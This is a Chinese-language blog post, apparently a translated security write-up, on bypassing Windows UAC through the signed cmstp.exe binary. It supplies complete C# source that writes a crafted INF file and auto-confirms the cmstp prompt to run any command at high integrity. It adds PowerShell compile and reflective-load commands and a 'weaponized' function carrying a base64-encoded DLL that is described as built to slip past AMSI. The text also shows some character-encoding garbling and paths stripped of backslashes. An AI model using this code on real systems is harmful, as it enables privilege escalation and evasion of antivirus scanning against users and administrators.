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一、前言

本文將介紹如何使用PowerShell腳本來繞過UAC，也就是說，我們將使用屬于本地管理員的中級(jí)完整性級(jí)別（Medium Integrity）的進(jìn)程來生成高級(jí)完整性級(jí)別（High Integrity）的進(jìn)程。

二、UAC簡(jiǎn)介

UAC（User Account Control，用戶賬戶控制）是Windows 7及后續(xù)Windows系統(tǒng)引入的一種安全功能，啟用該功能后，在用戶沒有顯示允許的情況下，即便是本地管理員賬戶也無法更改操作系統(tǒng)。我們經(jīng)?？吹阶烂嬗脩羰褂玫氖枪芾韱T賬戶（雖然不推薦，但這種做法已司空見慣），因此即使惡意軟件掌握了本地管理員賬戶，想修改注冊(cè)表中的某些信息，或者在系統(tǒng)中創(chuàng)建一個(gè)新的服務(wù)，UAC也會(huì)及時(shí)阻止這類行為。

后來研究人員找到了繞過該機(jī)制的方法，并且從Windows 7以來已經(jīng)有許多方法可以繞過UAC。這種情況非常常見，以至于微軟將這類問題當(dāng)成“非優(yōu)先”安全問題來處理。

為了檢查我們的進(jìn)程是否處于Medium Integrity級(jí)別，我們可以運(yùn)行whoami /priv命令，檢查可用的所有權(quán)限：

處于Medium Integrity級(jí)別的某個(gè)進(jìn)程如上圖所示，可知該進(jìn)程并沒有擁有所有權(quán)限。

當(dāng)我們“以管理員”身份啟動(dòng)命令提示符，再次運(yùn)行whoami /priv時(shí)，我們可以看到更多的權(quán)限信息。

三、如何在較新Windows 版本中繞過 UAC

我在互聯(lián)網(wǎng)上找了可能影響我自己主機(jī)的一些繞過方法，發(fā)現(xiàn)Oddvar Moe已經(jīng)做了比較精彩的研究，可以利用微軟的cmstp.exe來繞過UAC。

進(jìn)一步閱讀Oddvar的相關(guān)博客后，我偶然發(fā)現(xiàn)了Tyler Applebaum寫的PowerShell腳本，也能觸發(fā)這個(gè)漏洞。

在這些知識(shí)的幫助下，我決定繼續(xù)研究這種技術(shù)，開發(fā)我自己的工具。為了保證工作的原創(chuàng)性，我選擇使用C#編寫代碼，這樣我們就能生成帶有DLL反射的PowerShell腳本，并且字符數(shù)較少，這樣AMSI就很難阻止我們的載荷。

我開發(fā)的C#代碼如下所示：

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
Research on CMSTP.exe

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\windows\system32\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\windows\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

將其重命名為Source.cs，然后在同一個(gè)目錄下，使用PowerShell運(yùn)行如下命令編譯這段代碼：

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

結(jié)果可以生成一個(gè)dll文件。

為了使用DLL中的繞過代碼，我們可以使用如下PowerShell技巧：

PS C:> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll"))

GAC    Version        Location
---    -------        --------
False  v4.0.30319

PS C:> [CMSTPBypass]::Execute("C:WindowsSystem32cmd.exe")

然后我們就可以看到系統(tǒng)創(chuàng)建了一個(gè)高級(jí)完整性等級(jí)的cmd.exe！

結(jié)果如上圖所示，我們從一個(gè)非UAC進(jìn)程中生成了一個(gè)管理員級(jí)別的進(jìn)程！

我在Windows 10 build 17134，1803版上測(cè)試過這種技術(shù)，結(jié)果非常順利。

四、使用PowerShell完成武器化部署

現(xiàn)在我們來實(shí)現(xiàn)自動(dòng)化利用。為了創(chuàng)建PowerShell腳本來利用這種技術(shù)，我使用了經(jīng)常用到了DLL反射技巧，如下所示：

function Bypass-UAC
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Command
    )
    if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
    {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAIABQAGEAdABoAHMAXABDAE0ATQBHAFIAMwAyAC4ARQB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| Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}

這段代碼已經(jīng)足夠完成任務(wù)。我們可以導(dǎo)入該函數(shù)，利用如下方式加以執(zhí)行，最終生成高權(quán)限的進(jìn)程。

希望大家進(jìn)一步了解這種技術(shù)。獲取本地管理員賬戶后，繞過UAC就成為一個(gè)非常重要的步驟。繞過UAC后，我們可以輕松搞定整個(gè)系統(tǒng)。